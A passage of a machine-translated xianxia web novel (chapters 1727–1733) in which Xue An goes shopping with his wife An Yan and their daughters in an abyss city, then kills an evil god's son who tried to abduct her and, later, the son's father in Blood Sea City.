    Even if you don��t like some things, you have to learn to get used to it, because in this world, you still have to speak with your strength.


    In this weird atmosphere, Xue An and An Yan stayed here for one night. It was not until the next day that Xue An flew up with An Yan and disappeared into the abyss.


    Looking at his distant back, Kang Shuaifu suddenly sighed.


    I really don''t know what kind of storm this young man will stir in the abyss!


    According to the coordinates left by this rabbit named Taifeng Demon Venerable, Xue An only rushed to the location in half a day.


    Unexpectedly, this place is not a barbaric place, but a prosperous starry sky.


    In the starry sky, there is a lavender planet, the planet is not big, but there is a huge city built on it.


    Countless ships are coming in and going out here, it seems very busy.


    Xue An led An Yan to the ground, as if he had fallen into a bustling market.


    Various ethnic groups come and go on the streets, and the shops on the roadside are row upon row. The chants of various tones are mixed together, and there is a unique lively atmosphere.


    Under this situation, the appearance of Xue An and An Yan also seemed less conspicuous.


    "Wow, my husband, look over there, it''s so lively over there!" An Yan''s eyes are almost running out, and she gleefully looked around, curious about everything.


    No matter when or where it is, the nature of a woman''s shopping love will not change.


    Xue An smiled and nodded in response, feeling a trace of guilt in his heart.


    For such a long time, Yan''er has been tossing around in the heavens with herself, and she has never complained at all.


    But I rarely accompany her to relax.


    Even the easiest shopping is not a few times.


    Thinking of this, Xue An couldn''t help but smile and said, "Does it feel strange?"


    "Yeah! I found there are so many things that I have never seen before!" An Yan looked like a child who had discovered a novel toy, with excited eyes shining.


    With a move in Xue An''s heart, he directly released the thoughts and thoughts in the Fubao Xiaolou.


    When the two little girls saw the bustling scene outside, they couldn''t help being a little confused.


    "Wow, dad, where is this place? It''s so lively!" I asked in astonishment.


    "Yeah, why are there so many weird guys?" Nian Nian said in amazement.


    Xue An smiled, "This is a place where thousands of races gather, so naturally it looks very lively! Let''s go, and see if there is anything fun!"


    Then Xue An took a leisurely stroll and led the family around.


    I have to say that the items on sale here are truly dazzling.


    There are all kinds of things you can''t think of, here are everything.


    Now Anyan can be regarded as a shopping addiction.


    However, after a while, Xue An had many strange gadgets in his hands.


    Even so, An Yan still had no intention of ending.


    Xue An didn''t speak just followed behind him with a smile, very competently as a humanoid mobile shelf and a ruthless payment machine.


    But just as Anyan was on the enthusiastic shopping spree, a group of people appeared calmly behind Xue An and others.


    These people pretend very well, at least they can''t see the slightest clue from their appearance, just like normal passers-by.


    But in Xue An''s eyes, these disguise are simply ridiculous.


    The coordinated pace has already sold them out.


    The corners of Xue An''s mouth gradually raised, revealing a cold and murderous smile.


    interesting!


    Actually came here!


    at the same time.


    In a tall building in the distance, a young man in Chinese clothes with a face full of excitement said: "Have you kept up?"


    "Back to Master, our people have already followed!"

 Chapter 1728： Someone wants to take shortcuts!

    "Good! Good!" The young man was overjoyed and said a few good words before saying greedily: "Remember to tell me to go down, that girl, I want to live!"


    "Don''t worry, young master, I have already ordered that this woman will be delivered to you intact!" This man has a narrow smile on his face that I know.


    The Chinese-clothed boy was already a little uncontrollable, pacing back and forth in the house excitedly.


    Today, he just stopped by to take a look at the excitement, but he caught a glimpse of Anyan, who was shopping spree on the street.


    He was shocked at that time.


    This place is so beautiful?


    You must know that An Yan deliberately used secret methods to cover up his true appearance in order to reduce unnecessary trouble.


    But this Chinese-clothed young man happened to have real eyes and could see through all concealment techniques.


    So he could see An Yan''s true face at a glance.


    Although there are many ethnic groups in the heavens, the mainstream aesthetics are similar.


    What''s more, this Chinese-clothed boy was closer to the human race in blood origin, so he was immediately shocked.


    Then he became excited about it.


    Because in his eyes, this woman is not only beautiful and beautiful, but more importantly, the aura on her body shows that she has a very high talent for cultivation.


    Only such a woman can be worthy of her own identity!


    The young man in Huafu shouted in his heart and immediately sent his men to investigate.


    These subordinates of his were already familiar with this kind of thing, so they followed Anyan without moving a look.


    Although Xue An could see through these tricks at a glance, he didn''t say anything and just walked quietly.


    An Yan was ignorant of these, and continued to go shopping happily.


    It wasn''t until an hour later that she stopped tiredly, "Hhoo, so tired! Husband, you..."


    An Yan turned around and looked around, only to realize that Xue An was about to be overwhelmed by the things she had bought. She was taken aback for a moment, and then stuck out her tongue in embarrassment.


    "Sorry husband, I was excited for a while, I bought a lot of things!"


    "Mom, you don''t call too much, but too much!" The same thought, holding various things, poking out his head and grinning.


    Xue An just smiled and sent these things into the Fubao Xiaolou, then clapped his hands and said with a smile.


    "Not much, how can my wife buy more things! Want to stop shopping?"


    In fact, Xue An could put these things away early, but he felt that holding them with his hands was the greatest respect for Anyan, who worked hard to shop.


    An Yan naturally saw this. The happiness of being spoiled made her eyes bend into crescents, "No, I''m also a little tired! Let''s get to business now!"


    At this moment, thinking about it, I couldn''t help but yelled, "Hey, Mom and Dad, can you move the things from the two of us first before showing affection?"


    Only then did An Yan woke up and hurriedly put away the things carried by the two little girls with an apologetic expression.


    "Dad, where are we going next?" I asked curiously, thinking about the activity of the sour little hands.


    Xue An smiled, and from the corner of his eyes, he caught a glimpse of the people who were approaching here, and said lightly: "First solve a little trouble, and then do business!"


    Little trouble?


    An Yan was startled.


    At this moment, these men with grim faces gathered around.


    This place is far away from the former prosperous place, and the flow of people around is not large, especially when they see this group of angry men, many people avoid it with interest.


    So the surroundings quickly quieted down.


    Seeing this scene, An Yan''s expression sank, she guarded the two little girls behind her, and said in a deep voice, "Husband, what are these guys?"


    Xue An said with a faint smile: "If I guessed correctly, it should be for you!"


    "At me?" An Yan still didn''t understand what it meant.


    I saw a leading man step forward and said lightly: "This girl, my young master is waiting for you in a teahouse not far away. He wants to invite you over for a cup of tea!"


    "Your young master?" An Yan was even more confused.


    "Yes, my young master is the son of the famous Tianyu Cthulhu. He has been enamored with the girl since seeing the girl, so I want to ask the girl to tell you about her past!" the man said proudly.


    An Yan finally understood what was going on, her pretty face instantly flushed with anger.


    "I don''t know anything from Heavenly Jade Hell, so get out of here! Otherwise, don''t blame the old lady for being polite!"


    An Yan''s reaction was unexpected by the speaking man.


    He thought that if he said the four words Tianyu Evil God, the other party would definitely obey.


    But I didn''t expect it to be counterproductive and let myself go!


    At this time, the man''s face instantly became gloomy.


    "Woman, I hope you can figure out who you are talking to. It is also your blessing for my young master to see you. Go back with us obediently, and have your own chance..."


    Before he could finish speaking, An Yan was like a cat with blown up fur, flipped his wrist, took out the pan that hadn''t been seen in front of people for a long time, and rushed up.


    "Woman, you are playing with fire!" The man snorted coldly, and said indifferently.


    "I''m going to **** you!" An Yan was about to explode, and when he raised his hand, it was a pan.


    Now An Yan''s cultivation base is still half-step true immortal, this strength is simply too common in this abyss.


    At least this man didn''t care at all. He raised his hand and wanted to shoot this strange weapon in his eyes.


    But he never expected that as soon as his hand reached halfway, Lei Zun in the pan cheered and thundered down a beam of thunder.


    "Dare to bully my mistress, I''ll let you zoom in!"


    boom!


    This blow was completely beyond the man''s expectation, so he was hit hard by thunder.


    Thunder Light itself has a strong ability to restrain the evil god''s belonging.


    In addition, this Lei Zun was recast from Ye Hanshang''s blood of the Immortal King, so with just one blow, the man was almost destroyed.


    "Grab this woman, take her back to the young master for disposal!" The man roared furiously.


    The rest of the people moved.


    But right here, just a sigh came from behind them There are millions of roads in the world, but why do people always want to take shortcuts? "


    As soon as this statement came out, these strong men who were going to attack An Yan instantly solidified in place, and they couldn''t even blink their eyelids.


    Then their eyes showed infinite horror.


    Because they were shocked to discover that not only their bodies could not move, but even the spirits were imprisoned together.


    At the same time, Xue An said calmly: "If you dare to hit my woman''s idea, then I will teach you what is a lesson of blood!"


    Talk about it.


    The throats of these powerhouses made a terrifying gurgling sound, and then it melted completely like a candle and turned into blood.


    But Xue An, who had done all this, didn''t even lift his eyelids, and said lightly: "Go!"


    "What are you doing?" An Yan was still a little confused.


    "kill!"

 Chapter 1729： Your subordinates are dead

    At the same time, in the teahouse, the eldest son of the Tianyu evil god, Tian Xing, was waiting anxiously.


    Although it was not the first time to do this, this time he was surprisingly excited.


    Especially when he thinks of An Yan''s alluring face and curvy body, he feels that his heart becomes fiery.


    Why haven''t you come back?


    This bunch of rubbish, but just catching a woman, why have they gone for so long?


    Just as he was scratching his heart, the downstairs suddenly became noisy, and there was noise from people clamoring.


    "Who! Dare to break into the forbidden area?"


    Then there was a sound of ping-pong-pong-pong beating, and then everything returned to silence.


    Tian Xing was taken aback, and his complexion immediately became gloomy.


    The momentum of the whole body rose even more, and he was ready to meet the enemy.


    As the son of Cthulhu, his strength can be called tyrannical, especially here is his own one-third of an acre of land, so he did not panic at all, just quietly looked at the stairs.


    ������!


    Along with the sound of footsteps, someone was climbing up the steps.


    Tian Xing''s eyes also turned sullen, and only when someone appeared in the corner, he violently wounded.


    But at this moment, a light sigh came from under the stairs.


    "If I were you, I would never do such a stupid thing!"


    Tian Xing was shocked, because when the sound had just landed, he suddenly felt like there was another person behind him, and he could even feel the warm breath coming from his neck.


    This made his muscles instantly stiff, and then slowly turned his head.


    really.


    Behind him did not know when there was a smiling boy in white.


    After seeing his gaze, the boy nodded slightly, "Are you waiting for your hand?"


    Tian Xing''s pupils instantly shrank to the size of a needle, because he had already recognized the person.


    Isn''t this the person who is following the woman?


    At that time, Tian Xing focused all his attention on An Yan, although he saw Xue An, he didn''t pay much attention at all.


    Because in his opinion, this young man in white clothes is so mediocre, he doesn''t seem to be a strong person at all.


    But never expected that he would suddenly appear here.


    And when he saw Xue An''s eyes, he felt a chill in his heart for no reason.


    Because he couldn''t see the slightest extra feeling in Xue An''s eyes.


    Some are just infinite indifference and playfulness.


    It''s as if the overlord king is examining a courtier who has made mistakes.


    This feeling made him uncomfortably want to vomit blood, and he couldn''t help feeling even more terrified.


    Could it be that you have missed your eyes, this young man is an inexperienced master?


    Thinking of this, he secretly urged Divine Mind with an unmoving look, trying to summon the men who had been in ambush all around.


    That''s right!


    He has two sets of defenses, overtly and secretly.


    The guards on the surface are just to divert the attention of ordinary people. The real elites are actually hiding behind him in secret.


    Unexpectedly, his divine mind call was like sinking into the ocean without any response.


    At this moment, Xue An smiled faintly, "No need to summon, all of your subordinates have been solved by me just now!"


    "Impossible!" Tian Xing blurted out.


    That is the absolute elite that his father specially selected to be around him!


    Even the top powerhouses can''t kill them silently.


    "Oh? Then you can try again!" Xue An said slowly.


    Sure enough, Tian Xing tried several more times, but the result was still futile.


    At this time, a cold sweat came out of Tian Xing''s forehead.


    "How is it? Do you believe it now?" Xue An said lightly.


    "You...who are you?" Tian Xing''s voice began to tremble.


    "Who am I?" Xue An smiled.


    At the same time, An Yan came up from the stairs.


    Seeing this woman who made her **** and soul suddenly appear in front of him, Tian Xing''s eyes couldn''t help flashing a greedy look.


    But An Yan didn''t even look at him, and walked straight behind Xue An.


    "Husband!"


    Husband?


    Although I don''t quite understand what this title means, I can guess a general idea from An Yan''s intimate appearance.


    Tian Xing''s face became more and more difficult to look.


    Xue An smiled faintly, "Do you know who I am now? Huh?"


    Tian Xing was speechless, and after a long time he said calmly: "My friend, I think there should be some misunderstanding between us. Let me introduce myself first..."


    "I know, the eldest son of Tianyu Evil God!"


    Tian Xing was taken aback, and then he was relieved.


    In any case, as long as he knows his identity.


    Therefore, he straightened his waist in an instant, "Yes, Tianyu Cthulhu is my father, you..."


    But before he finished speaking, Xue An suddenly deceived him and stared at him with cold eyes, "I don''t care who you are! If you dare to fight Yan''er''s idea, then you will die!"


    When he said this, Xue An''s murderous aura had already reached the point of being almost substantive.


    Tian Xing''s complexion immediately turned pale as paper.


    After all, he is just a dude who relies on his father''s strength to act recklessly.


    How could he resist Xue An''s evil spirit.


    But the desire for life actually made him overcome the fear of death, and he screamed.


    "No! You can''t kill me! If you kill me, my father will never let you go!"


    "Your father? Hehe, don''t worry, he will go down and be with you too!" Xue An said coldly, then raised his eyebrows, and a sword light took shape in an instant.


    But before he could start, an urgent voice suddenly came from outside the window.


    "Retain people!"


    From far to near, the sound broke through the window in an instant and came into the field.


    When he saw someone, Tian Xing was overjoyed and shouted: "Taifeng, save me!"


    The person who came was a chubby man. He was sweating profusely, and said out of breath, "Tian Xing son, don''t worry!"


    As he said, he raised his head and said solemnly to Xue An, "My lord If you have something to discuss, don''t be impulsive!"


    Xue An raised his eyebrows slightly, "Taifeng?"


    The man nodded and smiled awkwardly, "Yes! It''s me!"


    That''s right!


    The man who came was the huge rabbit.


    It''s just that now he has disappeared from his original form and replaced with a simple and honest man.


    "Do you want to save him?" Xue An said lightly.


    Taifeng wiped the cold sweat on his forehead and nodded, "My lord, I just learned about this. There must be some misunderstandings in this matter, so there is no such thing as trouble!"


    This Taifeng Demon Venerable is indeed the news that just learned.


    He was originally the supervisor of this prosperous pier, even though he was a surrendered demon, but because of his active mind and extremely high emotional intelligence, he was highly regarded by these evil gods.


    And because of this, we can control such an important place.

 Chapter 1730： In my eyes, there is no one who cannot be killed! ...

    Since he gave Xue An the coordinates here, he has been waiting for Xue An''s arrival.


    But I never expected that after Xue An came, he didn''t go directly to him. Instead, he led the family to go shopping, and eventually attracted Tian Xing''s attention.


    It wasn''t until Xue Andang Street eliminated those strong men with bad intentions that the news slowly spread to the city lord''s mansion.


    Before he could react, what happened in the teahouse also shocked his ears.


    Especially when he saw Xue An in the image, he was so scared that he almost didn''t vomit blood, so he rushed here immediately.


    Because he is very aware of the temper of a strong man like Xue An.


    One delay, the death of Tian Xing can really not be kept!


    Hurry up, and finally catch up.


    But after hearing the explanation of Tian Xing, Xue An still had no expression.


    "Isn''t it so troublesome? Haha!"


    Xue An suddenly grabbed his backhand. The Heavenly Punishment who thought he had escaped from his birth gave a scream, trying to dodge, but he was shocked to find that he could not move at all.


    Bang!


    Xue An firmly pinched Tian Xing��s neck, lifted it up in the air, and said lightly: ��Now give me a reason not to kill him! If I am satisfied, I can let him go. !otherwise����."


    As soon as Xue An''s palm was hard, Tian Xing''s face flushed immediately, and then he looked at Tai Feng with infinite horror and pleading eyes.


    Taifeng didn''t expect Xue An to be so harsh when he shot, and he was so scared that he immediately said: "My lord, his father Tianyu Cthulhu is the top powerhouse in Blood Sea City. If he is killed, he will be given to us. This trip to Blood Sea City has added many variables, so for the sake of the overall situation, we cannot kill him!"


    This explanation made Xue An''s expression gradually eased, "Oh? That''s how it is!"


    Tai Feng couldn''t help but heaved a sigh of relief, and Zheng focused his head and said, "How can I deceive you, your lord, for such important things? This person really can''t be killed!"


    Tian Xing also relieved his heart at this time!


    Oh!


    It turns out that these two people are going to Blood Sea City!


    It looks like I might beg my father again!


    A smug smile appeared on his face now.


    But at this moment, Xue An''s palm suddenly pressed hard.


    Click!


    After a loud bang, Xue Ansheng''s neck was chopped off by Xue Ansheng, and all the vitality of Tianxing was also broken, and even the spirit of the gods broke apart.


    The blood spattered out, before the smile on Tian Xing''s face disappeared, he became a two-pointed corpse.


    Until his death, Tian Xing''s eyes were still full of consternation, as if he did not believe that Xue An actually dared to do it.


    Bang!


    The dead body fell to the ground.


    Taifeng was also stupid, "This...this..."


    It took a long time to say the following.


    Xue An clapped his hands and said lightly: "I''m sorry, in my eyes, there is no one who can''t kill! What''s more, he has the idea of ??daring to beat Yan''er, and he must die! As for his father..."


    Xue Ansen smiled, "Do you think I will let him go?"


    After seeing Xue An''s smile, Tai Feng Ji Lingling shuddered, even thinking of various legends about this adult, he hurriedly lowered his head.


    "Yes! This person dares to be disrespectful to your wife. He is indeed guilty of death! They are all humble and too much..."


    Xue An waved his hand, "Okay! Your starting point is good, naturally I won''t blame you!"


    "Yes, yes!" Tai Feng nodded and bowed, his round face was covered with sweat.


    Xue An waved his hand, and a red flame burned the corpse of Tianxing on the ground into nothingness.


    Seeing this scene, Tai Feng''s eyelids couldn''t help but jump.


    Is this the red lotus karma that swept the heavens back then?


    At the same time, Xue An said indifferently: "Where is the Blood Sea City?"


    "Master Hui, Blood Sea City is located in the middle of the boundless blood sea of ??the abyss, about a day away from here!"


    Xue An nodded, and suddenly asked: "How many evil gods are there?"


    Taifeng''s heart trembled, and he hurriedly said: "Blood Sea City is known as the largest city in the territory of the Heretic God, and almost all top powerhouses live there!"


    "Very good!" Xue An smiled, "This will save me a lot of hands and feet!"


    Then he looked at Tai Feng, "Have you been dealt with the matter on your side?"


    "It has been processed!"


    "Then leave now!"


    "Yes!"


    Just when Xue An and Taifeng were going to the boundless sea of ??blood.


    A divine mind dedicated to conveying news had already reached Blood Sea City one step ahead of them.


    After the Jade Cthulhu read this spiritual thought that day, he couldn''t help letting out a mournful cry.


    "Xinger!"


    Know that the stronger the creature, the more difficult it is to give birth to an offspring.


    Especially Tian Xing is the heir who perfectly inherits all his bloodlines, and the meaning is naturally different.


    That''s why Tianyu put him outside of Blood Sea City, just to let him play for a few years.


    But he never expected that the heir he always valued would be chopped off for life, and he didn''t even leave a trace of soul.


    How can this not make him furious.


    "Taifeng! You **** rabbit, I asked you to take care of Xing''er, but you watched him be killed! I will break your body into pieces!" Tianyu gritted his teeth.


    "There is also this guy who dared to attack my son. I will even pull your soul out and tear it apart a little bit to eliminate my hatred!"


    Tianyu was almost mad.


    And this news quickly spread throughout Blood Sea City.


    When I heard that this young man who was known for being dull and **** was actually killed outside.


    The entire Blood Sea City boiled instantly.


    Most of the evil gods have an attitude of gloating.


    After all, the Cthulhu race has no unity at all.


    Now seeing Tianyu''s bad luck, these evil gods naturally smiled happily.


    But there are also some more sober people who are puzzled by this news.


    "How could the dead rabbit of Taifeng have such courage? Actually indulged other people to kill Heavenly Punishment on the dock?"


    "Yeah! How strange this matter looks, especially the person who does it is a strange face!"


    "Hehe, I guess this rabbit is going to be unlucky. Even if Tianxing died, he didn''t even say to hide, but he still dared to participate in the **** feast Haven''t seen the Tianyu family been ready? As long as they arrive, they will probably die without a place to bury them!"


    Most people have the same thoughts and plan to take a look at the excitement.


    For them, it seems to be very happy to see other people suffering!


    In this atmosphere.


    Xue An and Taifeng finally came outside the city of blood.


    "Are you scared?" Xue An turned to look at the trembling Taifeng.


    Taifeng''s face was pale, and he smiled bitterly, "A little bit!"


    In fact, Tai Feng knew very well that now that Tian Xing is dead, Tian Yu is absolutely unwilling to give up!


    Maybe now the city has been laid out for many ambushes!


    Upon seeing this, Xue An smiled slightly, raised his hand and patted his shoulder, "Okay! It''s useless to be afraid, let''s go!"


    After all, Xue An took a step and walked into the blood sea city.

 Chapter 1731： Return to the other body

    As the place where Cthulhu lives, Blood Sea City is extremely large, with huge towering buildings everywhere, and even the streets are extremely wide.


    But such a magnificent and magnificent city is like an exquisite tomb, without the smoke and flames of an earth city.


    Xue An took An Yan''s hand and strolled down the street.


    Behind him was the pale Taifeng.


    The group of three people did not walk fast.


    But from the moment they appeared on the street, many prying eyes appeared in the huge buildings on both sides of the street.


    This feeling of full visibility makes Taifeng feel like sitting on pins and needles.


    Because he can clearly feel the gloat in these eyes.


    This can''t help making his heart heavier.


    But Xue An seemed to be totally ignorant, even in the mood to talk and laugh with An Yan, completely treating these eyes as nothing.


    In this weird atmosphere, Xue An and his party finally finished walking this long street, and then turned a corner.


    Then Xue An stopped.


    Because the road ahead has been blocked by dense figures.


    And standing before these shadowy figures was a middle-aged man with a majestic face.


    When he saw this man, Tai Feng couldn''t help but screamed.


    "Heavenly Jade Cthulhu!"


    That''s right!


    It was Tianyu Cthulhu who blocked the way on the street.


    I saw him smile coldly, but ignored Tai Feng, instead set his sights on Xue An.


    "My son was killed by you?" Tianyu asked coldly.


    Xue An smiled, "Yes!"


    "Very well, you are a very honest person, so I will try my best to give you a pleasure later!"


    As he said, a mysterious black firework rose from the body of the Tianyu evil god.


    at the same time.


    Almost all the strong in Blood Sea City are watching this scene by various means.


    When they saw the flames on the body of Tianyu Cthulhu, someone exclaimed.


    "It seems that Tianyu is really anxious, and he used such a tyrannical ultimate move when he came up!"


    In contrast, Xue An appears to be much depressed.


    Even under the violent power of the Heavenly Jade Cthulhu, Xue An''s whole person is like a lone boat driving in the rough sea, and is in danger of overturning at any time.


    Comparing the two, almost all Cthulhus believed that this young man in white who didn''t know where to jump out was bound to die.


    But under this circumstance, Xue An''s complexion was still very calm, and he didn''t even have the slightest fear in his eyes. Instead, he smiled lightly and said, "Really? Do I want to thank you?"


    Tianyu snorted coldly, "playing mystery!"


    Before he could say anything, he rushed up, raising his hand with a punch.


    The black flame envelops the fist, even though it is still far away, it makes people feel burnt, obviously the temperature is extremely high.


    Especially this punch also carried Tianyu''s supreme anger, so it was even more powerful.


    But just when many people sneered, thinking that the overall situation was settled.


    Xue An suddenly raised his hand, and then stretched out two slender fingers to block directly in front of him.


    Seeing this scene, Tianyu almost laughed.


    Does this boy have a brain problem?


    Actually want to block my indestructible punch with two fingers?


    Isn''t this the same as a joke!


    Therefore, he didn''t care at all, but increased his efforts and blasted Xue An directly.


    Not only him, everyone who saw this scene also shook their heads secretly.


    But at this moment, only a loud bang was heard.


    Then Tianyu''s fist was like hitting some indestructible wall, and it was actually forced to stop by Xue An''s two fingers.


    Everyone was stupid, staring blankly, couldn''t believe their eyes.


    At the same time, Tianyu Cthulhu snorted, and then a touch of horror appeared in his eyes.


    Because he felt that his fist had been shaken and his bones were broken, and the powerful counter-shock force even made him tremble with blood.


    But Xue An didn''t even shake his hair, and his **** were even more stable.


    This is horrible.


    Could it be that he is a physical training who is known for his physical strength?


    Thinking of this, the Heavenly Jade Cthulhu''s heart slammed, violently urged the black flames all over his body, and then went retrograde along his fist, trying to burn the white-clothed boy in front of him through this strange flame.


    There is nothing wrong with this idea.


    After all, even if this young man in white clothes really cultivated his body, no matter how terrifying his physical power was, he couldn''t resist the erosion of this demonic fire.


    really.


    These flames first enveloped Xue An''s fingers, and then covered them all.


    Tianyu Cthulhu finally breathed a sigh of relief, and then Jie Jie laughed strangely.


    "What can be great? Didn''t it end up in my hands?"


    But before the Heavenly Jade Cthulhu finished speaking, the black flames that had originally covered Xue An and burned suddenly came off, and then condensed in the air into a flame.


    This scene simply exceeded everyone''s expectations.


    The Evil God Tianyu, who was laughing out loud, also watched this scene dumbfounded.


    But seeing Xue An smiled slightly, "I really don''t know if you should be called stupid, or if you are bad luck! Actually want to use fire to deal with me!"


    "Are you here to be funny?"


    After that, Xue An breathed out gently.


    This flame rushed towards the evil **** of heaven jade at a speed that was too fast to cover its ears.


    Tianyu Evil God was taken aback for a moment, and then sneered disapprovingly, without even evading.


    Because in his opinion, the young man in white clothes is simply fainted, and he wants to use his own flame to deal with himself, isn''t this a joke?


    But I never expected that the flame just flew above the head of the Heavenly Jade God, suddenly became very violent, and then enveloped the Heavenly Jade God.


    Heavenly Jade Cthulhu screamed.


    "Ahhhhhhhh! How could this be? What did you do to my flame?"


    The Evil God of Tianyu felt that the flame was like a tarsal maggot, eroding his body crazily, constantly burning it into nothingness.


    Now Tianyu is really scared.


    Xue An smiled slightlyYour flame? No, it is mine now! "


    It was only then that people were surprised to discover that a bright red line of fire appeared in these originally pure black flames.


    The black and red phases also gave this flame a great power.


    Tianyu Cthulhu began to struggle in pain.


    And seeing this scene, his men were all stunned.


    Who would have thought that things would develop into the way it is now.


    Originally, under the leadership of the Patriarch, he ambushed Xue An here. I never thought that after the meeting, there was not a cup of tea, and the Patriarch of my own family was about to die!


    Some people wanted to help, but helplessly, the body of Tianyu Evil God was burning like a torch.


    The scorching heat wave makes it impossible to approach.


    Under this circumstance, everyone could only look at the struggling Tianyu Cthulhu with miserable eyes.

 Chapter 1732： Human men should taste good

    at last.


    Tianyu Cthulhu''s struggle gradually became sluggish, and finally fell to the ground, never moving anymore.


    It wasn''t until his body completely turned into a piece of coke that the flame covering it rose suddenly, then circled Xue An, and finally disappeared into Xue An''s palm.


    Seeing this scene, no matter whether they were present or spying in secret, everyone''s expressions became very solemn.


    Because this showed that the young man in white had controlled the flames of the Evil God of Heavenly Jade only through ordinary contact, and turned against the guest, and successfully eliminated the Evil God of Heaven.


    This kind of method is incredible.


    But the coke on the ground that was blowing green smoke silently told everyone that all this was true.


    At this moment, he smiled slightly when he saw Xue An raising his head and rushing to everyone who had fallen into a petrified state.


    "I''m sorry, it seems that he has started a little harder, but I didn''t expect him to be so casually beaten!"


    No one dared to speak, but unanimously gave way.


    joke.


    Patriarch is dead, who would dare to oppose this young man.


    Xue An smiled when he saw it, and then gently took An Yan''s hand, lifted his foot over the corpse on the ground, and walked inside.


    Wherever they passed, everyone retreated, no one dared to look up.


    Taifeng stared at Xue An''s back blankly, then lowered his head to look at the dead body on the ground, and suddenly shuddered.


    He had been thinking just now, what method should be used to get out after encountering this Tianyu evil god.


    But never expected that Xue An''s response methods would be so rough and direct.


    Actually killed this Heavenly Jade Evil God directly.


    And it only took a few breaths in total.


    The Taifeng finally understood why this master had such a great reputation among the heavens!


    That was all made with blood!


    After pondering for a while, Tai Feng hurriedly followed and disappeared into the street quickly.


    at the same time.


    The entire Blood Sea City boiled again.


    "The Holy Lord is here, am I dreaming?" Someone said with a look of surprise.


    "I actually burned him to death with Tianyu''s own flame, what is this?"


    "Where did this boy come from?"


    These questions and consternation made the evil gods a little bit unable to sit still.


    At this moment, An Yan who was walking with him suddenly lowered his voice and said, "Husband!"


    "Ok?"


    "Are you in the realm of the fairy king now?"


    "Why do you say that?" Xue An asked with a smile.


    "Because the guy who just died is very strong, but he didn''t even survive two moves in front of you!" An Yan also exclaimed.


    Xue An smiled slightly, "It''s not because of how strong I am, but this guy is too stupid!"


    In fact, if Xue An was able to kill the Heavenly Jade according to normal conditions, he would have to spend some time and effort, and it would never be so easy.


    But the death of Tianyu was because he actually tried to use flames to deal with Xue An.


    This is simply looking for death.


    Therefore Xue An fulfilled him.


    "Oh!" An Yan nodded, but soon said very seriously: "Then what level of strength is your husband? I feel that there are powerful and powerful people everywhere in this city. Whoever!"


    This is what An Yan has been worried about.


    After all, with the progress of the situation, the enemy Xue An will face is becoming more and more powerful.


    Especially this City of Blood Sea, An Yan was shocked.


    So she was very worried that Xue An could retreat in such a sinister environment.


    Xue An squeezed An Yan''s nose when he heard the words.


    "Don''t worry, although your husband and I are not the immortal king, I still have the ability to protect myself, and I have a sense of measure!"


    An Yan nodded.


    Taifeng who followed was dumbfounded.


    what?


    This adult is not even the fairy king now?


    Then how did he kill Heavenly Jade with a single blow?


    This is not the key. The key is how to deal with the Lord of the Abyss with such strength?


    You know, the Lord of the Abyss claims to have the strength of the quasi-immortal emperor!


    Although it is said that this lord is Xianzun''s return, but with such a huge power gap, Taifeng''s heart still sinks.


    I really don��t know if this battle can be won!


    And just when the entire Blood Sea City was raging because of Xue An''s killing of the Evil God of Heaven on the street.


    In a luxurious house in the middle of Blood Sea City.


    A beautiful lady sitting on the throne suddenly laughed after reading the message in her hand.


    "Interesting! Really interesting!"


    "Honorable King, what are you talking about interesting?" the butler on the side asked with a smile.


    That''s right!


    This woman is the Lord of the Blood Sea City, the leader of the Cthulhu, and Akana, the Daughter of the Abyss.


    "Haha, it''s nothing, just saw what happened on the street today!"


    "Are you talking about the evil **** of Tianyu?"


    Akana nodded and asked, "What do you think?"


    The housekeeper pondered for a moment, and then said: "It''s weird!"


    "Oh? Why?" Akana asked with interest.


    "Because this man is obviously a human race, then the question is, what does a human race suddenly come to our blood sea city to do? Especially he is still with Taifeng, this is even more strange!"


    Akana laughed a few times, "That''s right, the purpose of this boy is obviously not that simple!"


    "Then or I will send someone now..."


    Akana waved her hand, and said proudly: "You don''t have to be like this. It''s just a human race. Even if he is strong, this is the blood sea city, which is the territory of our evil god! What storms can he cause? People are staring, and I guess that by the time of tomorrow��s **** feast, this human race should take the initiative to reveal the purpose of this trip!"


    Upon hearing this, the housekeeper bowed his head and said: "Yes!"


    Then he retreated.


    Akana sat for a while, then picked up the stone of mind on the table with today''s image, and watched it again.


    When she saw Xue An''s cold and arrogant figure, she couldn''t help licking her lips greedily.


    The taste of a human man... should be good!


    One day passed in an instant.


    By the next day, when it was too early, Blood Sea City had become very lively.


    Cthulhu from all quarters gathered in front of the city lord''s mansion looking at the door eagerly.


    These strong men who can be placed anywhere is sufficient to deter one party, and they all become very well-behaved at this moment.


    at last.


    The door of the City Lord''s Mansion slowly opened.


    The butler walked out the door and said solemnly: "Please come in, everyone! Lord City Lord is already waiting in the banquet hall!"


    These evil gods just couldn''t wait to flood in.


    Soon, these evil gods all walked in.


    The housekeeper just wanted to turn around and leave.


    At this moment, Xue An and his party appeared in the distance of the street.


    When he saw the boy in white, the housekeeper''s complexion couldn''t help but sink.


    She was very impressed with the person who had a turmoil yesterday.


    Unexpectedly, he really came.

 Chapter 1733： Under the power, the gods and ghosts are shocked!

    Xue An slowly walked across the long street and came to the gate of the city lord''s mansion.


    The butler stood on the steps and looked at him coldly, without any intention of giving way.


    The atmosphere instantly became stagnant.


    Taifeng standing behind Xue An just wanted to speak when he saw Xue An stepping up the steps, and then walked up without any haste.


    A cold light suddenly flashed in the eyes of this housekeeper.


    She originally wanted to give this Human Race teenager who didn''t know where to come out to get his horse.


    She never thought that the other party hadn''t even looked at her directly, how could this not make her angry.


    She snorted and took a step forward, intending to block Xue An''s path.


    But at this moment, Xue An suddenly raised his eyes and glanced at him coldly.


    It was this glance that made the steward froze in place and could not move.


    What kind of look is that!


    It is deep like the sea, but also contains infinite indifference.


    As if a **** descended to the world, looking down at his people.


    The butler was terrified.


    At the same time, Xue Anye has stepped up.


    The housekeeper stepped aside almost completely subconsciously, and walked away.


    Xue An just passed her by, and never said a word from beginning to end.


    This silent silence suppressed the housekeeper''s breath, and could only watch Xue An walk into the city lord''s mansion.


    At this time, Taifeng, who hurriedly caught up, couldn''t help but marvel as he passed the butler.


    Just a look in the eyes forced the steward to give way, how powerful an adult!


    But he didn''t know that after he left, the butler showed a hint of hesitation on his face, and then he wanted to leave.


    But at this moment, a small flame suddenly rose from under his feet.


    She froze for a moment, and then opened her mouth in pain to scream.


    But the flame spread extremely fast, almost instantaneously, the bright red flame gushed out from her mouth and eyes, and then burned it into ashes.


    Entering this huge city lord''s mansion, Xue An''s steps did not slow down.


    On the contrary, every step he took, the momentum on his body became violent.


    In the end, a torrent of weather condensed and formed over his head, and the whole sky that was disturbed changed color.


